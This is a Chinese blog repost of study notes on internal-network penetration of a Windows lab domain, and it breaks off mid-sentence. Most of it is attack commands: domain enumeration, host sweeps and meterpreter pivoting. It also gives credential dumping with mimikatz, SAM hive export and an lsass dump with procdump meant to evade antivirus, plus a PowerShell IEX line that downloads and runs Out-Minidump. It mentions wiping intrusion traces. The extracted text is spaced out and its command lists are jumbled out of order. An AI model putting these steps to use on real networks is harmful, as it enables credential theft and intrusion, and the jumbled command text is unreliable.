搜索

[21795] 2021-03-20_我所了解的内网渗透

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-03-20_我所了解的内网渗透 我 所 了 解 的 内 网 渗 透 L e m o n S e c   2 0 2 1 - 0 3 - 2 0 来 自 ： b m j o k e r ' s   b l o g 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r /             最 近 看 了 一 点 内 网 渗 透 的 学 习 资 料 ， 感 觉 内 网 渗 透 需 要 的 知 识 太 多 ， 遂 写 博 客 来 记 录 下 自 己 学 习 内 网 渗 透 的 一 些 笔 记 。           开 篇 首 先 推 荐 i 春 秋 陈 小 兵 老 师 在 技 术 沙 龙 上 的 分 享 ： h t t p s : / / w w w . i c h u n q i u . c o m / o p e n / 6 1 7 1 1           并 看 大 佬 的 一 篇 m s f 内 网 穿 透 文 章 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / n e t w o r k / 1 2 5 2 7 8 . h t m l 其 中 内 网 渗 透 常 见 的 几 个 问 题 ： 1 . 防 火 墙 穿 透 2 . 木 马 免 杀 穿 透 3 . 内 网 信 息 收 集 及 目 标 定 位 4 . 关 于 文 件 下 载 而 内 网 渗 透 也 分 为   域 渗 透   与   工 作 组 渗 透 域 渗 透 ： 1 . 域 信 息 收 集 2 . 获 取 域 权 限 3 . d u m p 域 h a s h 4 . 内 网 权 限 维 持 工 作 组 渗 透 ： 1 . 常 规 内 网 渗 透 2 . 各 种 欺 骗 攻 击 如 果 非 要 说 内 网 渗 透 的 思 路 ： 1 . 内 网 环 境 下 先 查 看 网 络 架 构 。 例 如   网 段 信 息   域 控   D N S 服 务 器   时 间 服 务 器 2 . 收 集 到 了 足 够 多 的 信 息 可 以 扫 一 下 开 放 端 口   2 1   2 2   8 0   8 0 8 0   4 4 3 等 确 定 敏 感 信 息 ， 以 及 之 后 渗 透 的 方 向 3 . 通 过 以 上 信 息 进 行 一 定 的 弱 口 令 尝 试 ， 针 对 特 定 的 软 件 做 b a n n e r 采 集 利 用 ， s n m p 测 试 读 取 和 写 入 权 限 4 . 进 行 一 些 提 权 操 作 ， 从 横 向 和 纵 向 对 目 标 服 务 器 进 行 渗 透 。 6 . 进 行 敏 感 信 息 挖 掘 ， 内 网 密 码 收 集 嗅 探 ， 同 时 擦 出 入 侵 足 迹 。 内 网 渗 透 在 我 感 觉 一 种 是 拿 下 内 网 一 台 主 机 权 限 ， 外 网 端 口 转 发 或 者 协 议 代 理 进 内 网 ， 或 者 通 过 v p n 连 接 进 入 内 网 ， 另 一 种 是 通 过 物 理 方 法 连 入 内 网 ， 比 如 通 过 网 线 ， w i f i 热 点 进 入 内 网 等 。 不 过 最 终 的 目 的 一 样 ， 只 是 连 接 过 程 不 同 ， 第 一 种 比 第 二 种 要 多 一 个 ” 桥 梁 “ 。 如 何 拿 下 一 个 网 站 权 限 ， 这 里 不 再 多 说 ， 各 有 各 的 运 气 ， 各 有 各 的 技 术 。 具 体 的 端 口 转 发 与 协 议 代 理 可 以 看 我 上 一 篇 文 章 ： h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r / p / 1 0 2 6 4 1 4 8 . h t m l 这 里 主 要 学 习 得 到 一 台 主 机 权 限 后 ， 如 何 在 主 机 所 在 内 网 翻 出 更 大 的 浪 花 。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 博 主 在 本 地 搭 建 了 域 环 境 ： D C ： w i n d o w s 2 0 0 8     1 9 2 . 1 6 8 . 0 . 1 0 8 D M ： w i n d o w s 2 0 0 3   1 9 2 . 1 6 8 . 0 . 1 0 7 D M ： w i n d o w s   x p     1 9 2 . 1 6 8 . 0 . 1 0 5 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 x 0 1   域 信 息 收 集 域 信 息 收 集 - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 内 网 信 息 探 测 常 用 命 令 内 网 信 息 探 测 常 用 命 令 2 . 网 络 环 境 的 判 断 网 络 环 境 的 判 断 3 . 内 网 存 活 主 机 探 测 内 网 存 活 主 机 探 测 4 . h a s h 与 明 文 与 明 文 - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 内 网 信 息 探 测 常 用 命 令 拿 下 一 台 内 网 机 器 ， 首 先 要 定 位 内 网 机 器 的 架 构 。 收 集 基 本 信 息 ： i p c o n f i g   / a l l                                 - - - - - -   查 询 本 机 I P 段 ， 所 在 域 等 n e t   u s e r                                           - - - - - -   本 机 用 户 列 表 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s                         - - - - - -   本 机 管 理 员 [ 通 常 含 有 域 用 户 ] n e t   u s e r   / d o m a i n                                                   - - - - - -   查 询 域 用 户 n e t   g r o u p   / d o m a i n                                                 - - - - - -   查 询 域 里 面 的 工 作 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n                 - - - - - -   查 询 域 管 理 员 用 户 组 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / d o m a i n         - - - - - -   登 录 本 机 的 域 管 理 员 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   w o r k g r o u p u s e r 0 0 1   / a d d       - - - - - - 域 用 户 添 加 到 本 机
这 里 有 一 个 特 殊 的 用 户 叫 做 k r b t g t ， 该 用 户 是 用 于 K e r b e r o s 身 份 验 证 的 账 户 ， 获 得 了 该 用 户 的 h a s h ， 就 可 以 伪 造 票 据 传 递 攻 击 2 . 网 络 环 境 的 判 断 1 . 机 器 所 处 位 置 区 域 的 判 断 ； 2 . 机 器 在 内 网 中 角 色 的 判 断 ； 3 . 进 出 口 流 量 是 否 连 通 的 判 断 ， 是 否 出 的 去 ， 进 得 来 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ( 1 )   位 置 的 判 断 位 置 判 断 是 指 机 器 处 于 网 络 拓 扑 中 的 某 个 区 域 ， 是 在 D M Z 区 ， 办 公 网 ， 还 是 核 心 区 ， 核 心 D B 等 多 个 位 置 ， 当 然 这 里 的 区 域 并 不 是 绝 对 的 ， 只 是 大 概 的 一 个 环 境 ， 不 同 的 地 方 网 络 环 境 不 一 样 ， 区 域 的 界 限 也 不 一 定 明 显 。 ( 2 )   角 色 的 判 断 机 器 角 色 的 判 断 指 判 断 已 经 控 制 的 机 器 是 普 通 W e b 服 务 器 、 开 发 测 试 服 务 器 、 公 共 服 务 器 、 文 件 服 务 器 还 是 代 理 服 务 器 、 D N S 服 务 器 、 存 储 服 务 器 等 等 。 具 体 的 判 断 是 通 过 对 机 器 内 的 主 机 名 、 文 件 、 网 络 连 接 等 多 种 情 况 进 行 综 合 判 断 的 。 ( 3 ) 连 通 性 的 判 断 出 口 流 量 是 否 连 通 的 判 断 指 机 器 是 否 能 上 外 网 这 些 ， 要 综 合 判 断 协 议 （ t c p h t t p d n s i c m p 等 协 议 ） 与 端 口 ( 常 见 能 出 去 的 端 口 有 8 0 , 8 0 8 0 , 4 4 3 , 5 3 , 1 1 0 , 1 2 3 等 ) 。 在 这 里 还 有 一 种 是 网 络 内 网 设 置 了 代 理 服 务 器 的 情 况 ， 攻 击 者 通 常 会 查 看 环 境 变 量 s e t ， 主 机 名 是 否 有 p r o x y 字 样 的 机 器 ， 注 册 表 是 否 有 写 明 代 理 地 址 或 指 定 p a c 代 理 文 件 等 。 3 . 内 网 存 活 主 机 探 测 i c m p 扫 描 基 于 i c m p 的 各 种 内 网 主 机 发 现 方 式 ， 如 果 防 火 墙 过 滤 的 i c m p 请 求 ， 这 种 方 式 基 本 就 废 了 ， 但 是 基 本 上 都 不 会 过 滤 i c m p 协 议 的 请 求 。 除 了 本 身 自 带 的 命 令 ， 也 可 以 考 虑 使 用 第 三 方 程 序 ， 比 如 c p i n g 。 在 w i n d o w s 下 使 用 i c m p 扫 描 c m d 中 执 行 如 下 命 令 ， 对 整 个 C 段 进 行 p i n g 扫 描 c m d 回 显 ：       f o r   / l   % i   i n   ( 1 , 1 , 2 5 5 )   d o   @ p i n g   1 9 2 . 1 6 8 . 0 . % i   - w   1   - n   1   |   f i n d   / i   " t t l " 导 出 成 文 本 ：   @ f o r   / l   % i   i n   ( 1 , 1 , 2 5 5 )   d o   @ p i n g   - n   1   - w   4 0   1 9 2 . 1 6 8 . 0 . % i   &   i f   e r r o r l e v e l   1   ( e c h o   1 9 2 . 1 6 8 . 0 . % i > > c : a . t x t )   e l s e   ( e c h o   1 9 2 . 1 6 8 . 0 . % i   > > c : b . t x t ) n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   w o r k g r o u p u s e r 0 0 1   / a d d       - - - - - - 域 用 户 添 加 到 本 机 n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n                 - - - - - -   查 看 域 控 制 器 ( 如 果 有 多 台 ) n e t   t i m e   / d o m a i n                                       - - - - - -   判 断 主 域 ， 主 域 服 务 器 都 做 时 间 服 务 器 n e t   c o n f i g   w o r k s t a t i o n                           - - - - - -   当 前 登 录 域 n e t   s e s s i o n                                                 - - - - - -   查 看 当 前 会 话 n e t   u s e   i p i p c $   p a w w o r d   / u s e r : u s e r n a m e             - - - - - -   建 立 I P C 会 话 [ 空 连 接 - * * * ] n e t   s h a r e                                                     - - - - - -     查 看 S M B 指 向 的 路 径 [ 即 共 享 ] n e t   v i e w                                                       - - - - - -   查 询 同 一 域 内 机 器 列 表 n e t   v i e w   i p                                             - - - - - -   查 询 某 I P 共 享 n e t   v i e w   / d o m a i n                                       - - - - - -   查 询 域 列 表 n e t   v i e w   / d o m a i n : d o m a i n n a m e                 - - - - - -   查 看 w o r k g r o u p 域 中 计 算 机 列 表 n e t   s t a r t                                                     - - - - - -   查 看 当 前 运 行 的 服 务 n e t   a c c o u n t s                                               - - - - - -     查 看 本 地 密 码 策 略 n e t   a c c o u n t s   / d o m a i n                               - - - - - -     查 看 域 密 码 策 略 n b t s t a t   – A   i p                                             - - - - - - n e t b i o s   查 询 n e t s t a t   – a n / a n o / a n b                                 - - - - - -   网 络 连 接 查 询 r o u t e   p r i n t                                                 - - - - - -   路 由 表 t a s k l i s t   / V                                                 - - - - -   查 看 进 程 [ 显 示 对 应 用 户 ] t a s k l i s t   / S   i p   / U   d o m a i n u s e r n a m e   / P   / V                           - - - - -   查 看 远 程 计 算 机 进 程 列 表 q p r o c e s s   *                                                   - - - - -   类 似 t a s k l i s t q p r o c e s s   / S E R V E R : I P                                 - - - - -   远 程 查 看 计 算 机 进 程 列 表 n s l o o k u p   – q t - M X   Y a h o o . c o m                     - - - - -   查 看 邮 件 服 务 器 w h o a m i   / a l l                                                 - - - - -   查 询 当 前 用 户 权 限 等 s e t                                                                 - - - - -   查 看 系 统 环 境 变 量 s y s t e m i n f o                                                   - - - - -   查 看 系 统 信 息 q w i n s t a                                                         - - - - -   查 看 登 录 情 况 q w i n s t a   / S E R V E R : I P                                   - - - - -   查 看 远 程 登 录 情 况 f s u t i l   f s i n f o   d r i v e s                               - - - - -   查 看 所 有 盘 符 g p u p d a t e   / f o r c e                                         - - - - -   更 新 域 策 略 c m d k e y   / l                                                     - - - - -   看 是 否 保 存 了 登 陆 凭 证 。 （ 攻 击 者 会 先 查 看 管 理 员 是 否 保 留 了 登 陆 凭 证 ， 方 便 后 续 的 凭 证 抓 取 。 ）     e c h o   % l o g o n s e r v e r %                                   - - - - -   查 看 登 陆 域
利 用 p o w e r s h e l l 对 目 标 内 网 进 行 i c m p 扫 描 p o w e r s h e l l . e x e   - e x e c   b y p a s s   - C o m m a n d   " I m p o r t - M o d u l e   C : I n v o k e - T S P i n g S w e e p . p s 1 ; I n v o k e - T S P i n g S w e e p   - S t a r t A d d r e s s   1 9 2 . 1 6 8 . 0 . 1   - E n d A d d r e s s   1 9 2 . 1 6 8 . 0 . 2 5 4   - R e s o l v e H o s t   - S c a n P o r t   - P o r t   2 1 , 2 2 , 2 3 , 2 5 , 5 3 , 8 0 , 8 1 , 8 2 , 8 3 , 8 4 , 8 5 , 8 6 , 8 7 , 8 8 , 8 9 , 1 1 0 , 1 1 1 , 1 4 3 , 3 8 9 , 4 4 3 , 4 4 5 , 8 7 3 , 1 0 2 5 , 1 4 3 3 , 1 5 2 1 , 2 6 0 1 , 3 3 0 6 , 3 3 8 9 , 3 6 9 0 , 5 4 3 2 , 5 9 0 0 , 7 0 0 1 , 8 0 0 0 , 8 0 8 0 , 8 0 8 1 , 8 0 8 2 , 8 0 8 3 , 8 0 8 4 , 8 0 8 5 , 8 0 8 6 , 8 0 8 7 , 8 0 8 9 , 9 0 9 0 , 1 0 0 0 0 "     目 标 网 段 ， 并 非 仅 限 C 段 ， 比 如 你 也 可 以 写 成 这 种 方 式 ` 1 9 2 . 1 6 8 . 0 . 1   -   1 9 2 . 1 6 8 . 0 . 2 5 4 `   w i n d o w s   2 0 0 3 与 w i n d o w s   x p 需 要 安 装 p o w e r s h e l l 1 . 0 ： 官 方 下 载 地 址   关 于 p o w e r s h e l l 在 内 网 渗 透 中 的 作 用 ， 请 看 下 一 篇 文 章 ， 这 里 不 再 细 说 。 在 l i n u x 下 使 用 各 类 i c m p 扫 描 s h e l l 中 执 行 l i n u x 脚 本 进 行 扫 描 或 者 f o r   i   i n   1 9 2 . 1 6 8 . 0 . { 1 . . 2 5 4 } ;   d o   i f   p i n g   - c   3   - w   3   $ i   & > / d e v / n u l l ;   t h e n   e c h o   $ i   i s   a l i v e d ;   f i ;   d o n e n m a p 的 i c m p 扫 描 n m a p   - s n   - P E   1 9 2 . 1 6 8 . 0 . 1 / 2 4 如 果 是 物 理 方 法 连 接 内 网 ， 可 直 接 进 行 探 测 。 如 果 仅 有 一 台 内 网 主 机 权 限 ， 可 以 作 端 口 转 发 ， 感 觉 比 较 靠 谱 的 还 是 配 置 S O C K S 5 内 网 代 理 ， 使 用 p r o x y c h a i n s 配 合 n m a p 使 用 ， 或 者 使 用 m s f 中 的 模 块 先 挂 内 网 代 理 ， 使 用 s c a n n e r 模 块 进 行 扫 描 ， 或 者 把 内 网 已 g e t s h e l l 的 机 器 配 置 成 跳 板 机 ， 来 借 力 打 力 。 a r p 扫 描 在 w i n d o w s 下 使 用 a r p 扫 描 ： a r p s c a n 工 具 扫 描 a r p s c a n . e x e 下 载 地 址 ： h t t p s : / / w w w . 2 c t o . c o m / s o f t / 2 0 1 0 0 1 / 1 6 9 8 7 . h t m l # d o w n l o a d 所 需 d l l 文 件 ： h t t p s : / / c n . d l l - f i l e s . c o m p o w e r s h e l l 调 用 a r p s c a n 扫 描 p o w e r s h e l l . e x e   - e x e c   b y p a s s   - C o m m a n d   " I m p o r t - M o d u l e   C : I n v o k e - A R P S c a n . p s 1 ; I n v o k e - A R P S c a n   - C I D R   1 9 2 . 1 6 8 . 1 . 0 / 2 4 "     > >   r e s u l t . t x t 在 l i n u x 下 使 用 a r p 扫 描 : n m a p 的 a r p 扫 描 n m a p   - s n   - P R   1 9 2 . 1 6 8 . 0 . 1 / 2 4     尝 试 a r p 扫 描 n e t d i s c o v e r 扫 描 n e t d i s c o v e r   - r   1 9 2 . 1 6 8 . 0 . 1 / 2 4   - i   e t h 0 m s f 的 a r p 扫 描 模 块 m s f 获 取 一 个 s h e l l m e t e r p r e t e r   >   g e t s y s t e m           另 外 , 在 目 标 机 器 上 扫 描 时 , 务 必 先 提 权 ( 个 人 建 议 , 会 方 便 很 多 ) , 不 然 扫 描 过 程 中 可 能 会 有 些 问 题 m e t e r p r e t e r   >   r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 0 . 1 / 2 4     ( 添 加 路 由 ) m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / a r p _ s c a n n e r   R H O S T S = 1 9 2 . 1 6 8 . 0 . 1 / 2 4 m e t e r p r e t e r   >   r u n   基 于 s m b 和 n e t b i o s 的 内 网 主 机 发 现 方 式 w i n d o w s 下 n b t 扫 描 ： n b t s c a n . e x e   - m     1 9 2 . 1 6 8 . 0 . 1 / 2 4       非 常 经 典 的 小 工 具 # ! / b i n / b a s h f o r   i p   i n   1 9 2 . 1 6 8 . 0 . { 1 . . 2 5 4 }   d o           p i n g   $ i p   - c   1   & >   / d e v / n u l l                   i f   [   $ ?   - e q   0   ] ; t h e n                           e c h o   $ i p   i s   a l i v e   . . . .                   f i   d o n e s t a r t   / b   a r p s c a n . e x e   - t   1 9 2 . 1 6 8 . 0 . 1 / 2 4   > >   r e s u l t . t x t m s f   >   u s e     a u x i l i a r y / s c a n n e r / d i s c o v e r y / a r p _ s w e e p m s f   >   s h o w   o p t i o n s m s f   >   s e t     i n t e r f a c e   e t h 0 m s f   >   s e t     s m a c   0 0 : 0 c : 2 9 : 9 2 : f d : 8 5 m s f   >   s e t     r h o s t s   1 9 2 . 1 6 8 . 0 . 1 / 2 4 m s f   >   s e t     t h r e a d s   2 0 m s f   >   s e t     s h o s t   1 9 2 . 1 6 8 . 0 . 1 3 3   ( 伪 造 源 i p ) m s f   >   r u n
n b t s c a n . e x e 工 具 下 载 地 址 ： h t t p : / / w w w . u n i x w i z . n e t / t o o l s / n b t s c a n . h t m l # d o w n l o a d l i n u x 下 n b t 扫 描 ： n b t s c a n . e x e   - r     1 9 2 . 1 6 8 . 0 . 1 / 2 4 域 内 扫 描 n e t   v i e w d s q u e r y   c o m p u t e r     其 实 , 域 内 最 好 用 的 也 就 是 n b t s c a n 了 如 果 计 算 机 名 很 多 的 时 候 ， 可 以 利 用 b a t 批 量 p i n g 获 取 i p @ e c h o   o f f s e t l o c a l   E N A B L E D E L A Y E D E X P A N S I O N @ F O R   / F   " u s e b a c k q   e o l = -   s k i p = 1   d e l i m s = "   % % j   I N   ( ` n e t   v i e w   ^ |   f i n d   " 命 令 成 功 完 成 "   / v   ^ | f i n d   " T h e   c o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . "   / v ` )   D O   ( @ F O R   / F   " u s e b a c k q   d e l i m s = "   % % i   I N   ( ` @ p i n g   - n   1   - 4   % % j   ^ |   f i n d s t r   " P i n g i n g " ` )   D O   ( @ F O R   / F   " u s e b a c k q   t o k e n s = 2   d e l i m s = [ ] "   % % k   I N   ( ` e c h o   % % i ` )   D O   ( e c h o   % % k     % % j ) ) ) 4 . h a s h 与 明 文 抓 取 h a s h 最 好 的 工 具 莫 过 于 m i m i k a t z ， 不 过 免 杀 是 个 问 题 。 从   s a m   数 据 库 中 提 取 目 标 系 统 本 地 用 户 密 码   h a s h 在 线 读 取 s a m 数 据 库 ( 1 )   使 用 m i m i k a t z 提 取 系 统 h a s h 与 明 文 p r i v i l e g e : : d e b u g t o k e n : : e l e v a t e l s a d u m p : : s a m s e k u r l s a : : l o g o n P a s s w o r d s     ( 获 取 明 文 用 户 口 令 ） 破 解 出 的 N T L M 可 以 尝 试 C M D 5 破 解 ： 或 者 尝 试   o p h c r a c k   破 解 ： h t t p s : / / w w w . o b j e c t i f - s e c u r i t e . c h / o p h c r a c k . p h p 简 单 密 码 可 以 直 接 明 文 显 示 ( 2 )   使 用 p w d u m p 7 提 取 系 统 密 码 h a s h
下 载 地 址 ： h t t p : / / p a s s w o r d s . o p e n w a l l . n e t / b / p w d u m p / p w d u m p 7 . z i p 需 要 管 理 员 权 限 执 行 ： 可 以 看 到 已 经 提 取 出 h a s h ( 3 )   使 用 p o w e r s h e l l 脚 本 提 取 h a s h h a s h 脚 本 下 载 地 址 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / E m p i r e P r o j e c t / E m p i r e / m a s t e r / d a t a / m o d u l e _ s o u r c e / c r e d e n t i a l s / I n v o k e - P o w e r D u m p . p s 1 管 理 员 权 限 执 行 p o w e r s h e l l 命 令 ： p o w e r s h e l l   - e p   b y p a s s   - f   I n v o k e - P o w e r D u m p . p s 1 离 线 读 取   s a m   数 据 库 获 取 当 前 系 统 的   s a m   数 据 库 文 件 ， 在 另 一 个 系 统 下 读 取 导 出   s a m   数 据 库 文 件 有 以 下 两 种 实 现 方 法 ： ( 1 )   保 存 注 册 表 管 理 员 权 限 ， 利 用   r e g   将   s a m ， s y s t e m 和   s e c u r i t y 文 件 导 出 来 ， 并 保 存 在 本 地 ： r e g   s a v e   H K L M S Y S T E M   s y s t e m . h i v r e g   s a v e   H K L M S A M   s a m . h i v r e g   s a v e   H K L M S E C U R I T Y   s e r c r i t y . h i v m i m i k a t z . e x e   " l s a d u m p : : s a m   / s y s t e m : s y s t e m . h i v   / s a m : s a m . h i v   / s e r c r i t y : s e r c r i t y . h i v "   e x i t 可 以 看 到 已 提 取 出 h a s h 参 考 链 接 ： 通 过 S A M 数 据 库 获 得 本 地 用 户 h a s h 通 过   d u m p   l s a s s . e x e   进 程 数 据 离 线 免 杀 抓 取 明 文 ( 1 )   通 过 p r o c d u m p . e x e 提 取 出 明 文 p r o c d u m p . e x e 工 具 下 载 地 址 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p r o c d u m p 有 时 遇 到 杀 软 ， 直 接 在 目 标 机 器 上 抓 取 密 码 可 能 会 被 杀 ， 这 时 可 以 先 利 用   p r o c d u m p   把   l s a s s . e x e   进 程 中 的 数 据 导 出 到 指 定 文 件 中 ， 再 把 导 出 的 文 件 下 回 到 本 地 用   m i m i k a t z   读 取 文 件 中 的 密 码 h a s h ， 以 实 现 免 杀 效 果 ， 不 过 需 要 注 意 的 是 ， 本 地 读 取 文 件 的 系 统 平 台 和 目 标 的 系 统 需 要 完 全 一 致 。 先 在 目 标 机 器 上 执 行 ： 3 2 位 机 器 ： p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p         6 4 位 机 器 ： p r o c d u m p . e x e   - a c c e p t e u l a   - 6 4   - m a   l s a s s . e x e   l s a s s . d m p 本 地 使 用 m i m i k a t z 读 取 文 件 中 的 密 码 h a s h m i m i k a t z . e x e s e k u r l s a : : m i n i d u m p   l s a s s . d m p s e k u r l s a : : l o g o n P a s s w o r d s   f u l l
可 以 看 到 已 经 提 取 出 系 统 中 的 h a s h 与 明 文 ( 2 )   p o w e r s h e l l 调 用 d u m p 脚 本 #   P u b l i c > p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / m a t t i f e s t a t i o n / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / O u t - M i n i d u m p . p s 1 ' ) ; " G e t - P r o c e s s   l s a s s   |   O u t - M i n i d u m p " 或 者 本 机 执 行 #   P u b l i c > p o w e r s h e l l   – e x e c   b y p a s s   – C o m m a n d   " &   { I m p o r t - M o d u l e   ' C : U s e r s P u b l i c O u t - M i n i d u m p . p s 1 ' ;   G e t - P r o c e s s   l s a s s   |   O u t - M i n i d u m p } " 关 于 w i n d o w s 1 0 / 2 0 1 2 r 2   以 后 系 统 的 明 文 密 码 抓 取 方 式 在 w i n d o w s 1 0 / 2 0 1 2 r 2   之 后 的 系 统 版 本 中 ， 默 认 情 况 下 是 禁 用 了 在 内 存 缓 存 中 存 储 系 统 用 户 明 文 密 码 ， 此 时 使 用 m i m i k a t z 去 抓 取 密 码 ， 会 显 示 n u l l 。 解 决 方 法 为 ： 修 改 注 册 表   - - - >   抓 取 w i n d o w s   s e r v e r   2 0 1 2   &   2 0 1 6   &   w i n 8 明 文 密 码   0 x 0 2   横 向 渗 透 横 向 渗 透   - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 默 认 权 限 配 置 认 知 2 . 端 口 转 发 与 协 议 代 理 3 . 工 作 组 横 向 渗 透 4 . 域 环 境 横 向 渗 透 5 . 权 限 维 持 - - - - - - - - - - - - - - - - - - - - - - - - - 1 . 默 认 权 限 配 置 认 知 [ + ] 普 通 机 器 允 许 C o n s o l e ： a d m i n i s t r a t o r 组 （ d o m a i n   a d m i n s ） ， u s e r s 组 （ d o m a i n   u s e r s ） ， b a c k u p   o p e r a t o r s 组 允 许 r d p ： a d m i n i s t r a t o r 组 （ d o m a i n   a d m i n s ） ， R e m o t e   d e s k t o p   u s e r s 组 [ + ] 域 控 A D 允 许 C o n s o l e ： a d m i n i s t r a t o r 组 ， b a c k u p   o p e r a t o r s 组 ， a c c o u n t   o p e r a t o r s 组 ， p r i n t   o p e r a t o r s 组 ， s e r v e r   o p e r a t o r s 组 允 许 r d p ： a d m i n i s t r a t o r 组 ， R e m o t e   d e s k t o p   u s e r s 组 如 果 出 现 配 置 错 误 ， 属 于 权 限 设 置 问 题 。 当 某 些 普 通 不 普 通 用 户 加 入 A D 的 r d p 组 或 其 他 管 理 组 ， 当 攻 击 者 拿 到 这 些 用 户 的 权 限 时 就 相 当 于 可 以 获 取 到 域 控 制 器 的 权 限 了 。 2 . 代 理 转 发 与 协 议 代 理 具 体 请 参 考 我 上 一 篇 文 章 ： 内 网 渗 透 之 端 口 转 发 3 . 工 作 组 横 向 渗 透 工 作 组 采 取 的 一 般 都 是 常 规 渗 透 方 法 ， 因 为 工 作 组 一 般 都 是 个 人 和 少 数 服 务 器 。 通 常 使 用 的 方 法 有 ： 扫 描 网 段 中 的 w e b 服 务 ， 常 用 的 有 p h p s t u d y ， w a m p s e r v e r 等 ， 来 寻 找 搭 建 的 服 务 漏 洞 扫 描 开 放 端 口 信 息 ， 以 及 对 应 的 服 务 ， 判 断 是 否 存 在 漏 洞 。 扫 描 主 机 由 于 没 有 更 新 到 最 新 版 本 导 致 的 系 统 漏 洞 ， 比 如 M S 1 7 - 0 1 0 ， 补 丁 号 为 K B 4 0 1 3 3 8 9 h a s h 抓 取 ， h a s h 注 入 ， h a s h 碰 撞 ， I P C 登 陆 ， 未 授 权 访 问 ， 文 件 共 享 系 统 。 A R P 嗅 探 / 欺 骗 攻 击 （ C a i n 和 E t t e r c a p ）
D N S 劫 持 ， 会 话 劫 持 。 社 会 工 程 学 . . . 4 . 域 环 境 横 向 渗 透 ( 1 ) 域 内 信 息 探 测 w i n d o w s 环 境 常 用 命 令 ：   d s q u e r y 命 令 探 测 A D 信 息 ： N e t 系 列 命 令 获 取 域 内 信 息 W m i c 系 列 命 令 使 用 ： l i n u x 常 用 命 令 ： n e t   u s e r   / d o m a i n               # 查 看 域 用 户 n e t   v i e w   / d o m a i n               # 查 看 有 几 个 域 n e t   v i e w   / d o m a i n : X X X       # 查 看 此 域 内 电 脑 n e t   g r o u p   / d o m a i n             # 查 询 域 里 面 的 组 n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n     # 查 看 加 入 到 域 内 的 所 有 计 算 机 名 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n           # 查 看 域 管 理 员 n l t e s t   / d c l i s t : x x x           # 查 看 域 控 制 器 n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n       # 查 看 域 控 制 器 n e t   u s e r   h a c k e r   / d o m a i n           # 获 得 指 定 账 户 的 详 细 信 息 n e t   a c c o u n t s   / d o m a i n                 # 获 得 域 密 码 策 略 设 置 ， 密 码 长 短 ， 错 误 锁 定 等 信 息 d s q u e r y   c o m p u t e r               - - - - -   寻 找 目 录 中 的 计 算 机 d s q u e r y   c o n t a c t                 - - - - -   在 目 录 中 查 找 与 指 定 的 搜 索 条 件 相 匹 配 的 联 系 人 d s q u e r y   s u b n e t                   - - - - -   寻 找 目 录 中 的 子 网 d s q u e r y   g r o u p                     - - - - -   寻 找 目 录 中 的 群 组 d s q u e r y   o u                           - - - - -   寻 找 目 录 中 的 组 织 单 位 d s q u e r y   s i t e                       - - - - -   寻 找 目 录 中 的 站 点 d s q u e r y   s e r v e r                   - - - - -   寻 找 目 录 中 的 域 控 制 器 d s q u e r y   u s e r                       - - - - -   寻 找 目 录 中 的 用 户 d s q u e r y   q u o t a                     - - - - -   寻 找 目 录 中 的 配 额 规 格 d s q u e r y   p a r t i t i o n             - - - - -   寻 找 目 录 中 的 磁 盘 分 区 d s q u e r y   *                             - - - - -   使 用 标 准 的 L D A P 查 询 在 目 录 中 寻 找 任 何 对 象 d s q u e r y   s e r v e r   – d o m a i n   Y a h o o . c o m   |   d s g e t   s e r v e r – d n s n a m e   – s i t e       - - - 搜 索 域 内 域 控 制 器 的 D N S 主 机 名 和 站 点 名 d s q u e r y   c o m p u t e r   d o m a i n r o o t   – n a m e   * - x p   – l i m i t   1 0                                 - - - - -   搜 索 域 内 以 - x p 结 尾 的 机 器 1 0 台 d s q u e r y   u s e r   d o m a i n r o o t   – n a m e   a d m i n *   - l i m i t                                           - - - -   搜 索 域 内 以 a d m i n 开 头 的 用 户 1 0 个 … … … … [ 注 : d s q u e r y 来 源 于 W i n d o w s   S e r v e r   2 0 0 3   A d m i n i s t r a t i o n   T o o l s   P a c k ] 具 体 参 考 ： h t t p : / / b l o g . 5 1 c t o . c o m / 1 2 2 2 6 9 8 7 5 / 1 7 1 6 4 1 4 C s v d e / l d i f d e / d s q u e r y / a d f i n d / l d a p s e a r c h         # 探 测 更 详 细 信 息 使 用 ` G e t - S P N ` （ p o w e r s h e l l 脚 本 L D A P 中 快 速 查 询 符 合 指 定 得 用 户 、 组 、 或 者 S P N 服 务 名 称 ） N s l o o k u p   - t y p e = S R V _ l d a p . _ t c p       # ( 寻 找 域 控 ) t a s k l i s t   / v           # 列 出 进 程 和 进 程 所 有 者 （ 看 是 否 有 域 管 登 陆 ） P o w e r V i e w               # （ p o w e r s h e l l 脚 本   辅 助 找 寻 定 位 关 键 用 户 ， 查 看 域 管 在 线 机 器 ） W i n S c a n X . e x e         # 远 程 信 息 刺 探 W i n f o . e x e               # 遍 历 远 程 用 户 名 n m a p   s m b - e n u m - s e s s i o n s . n s e         # （ 引 擎 来 获 取 远 程 机 器 的 登 陆 s e s s i o n ， 并 且 不 需 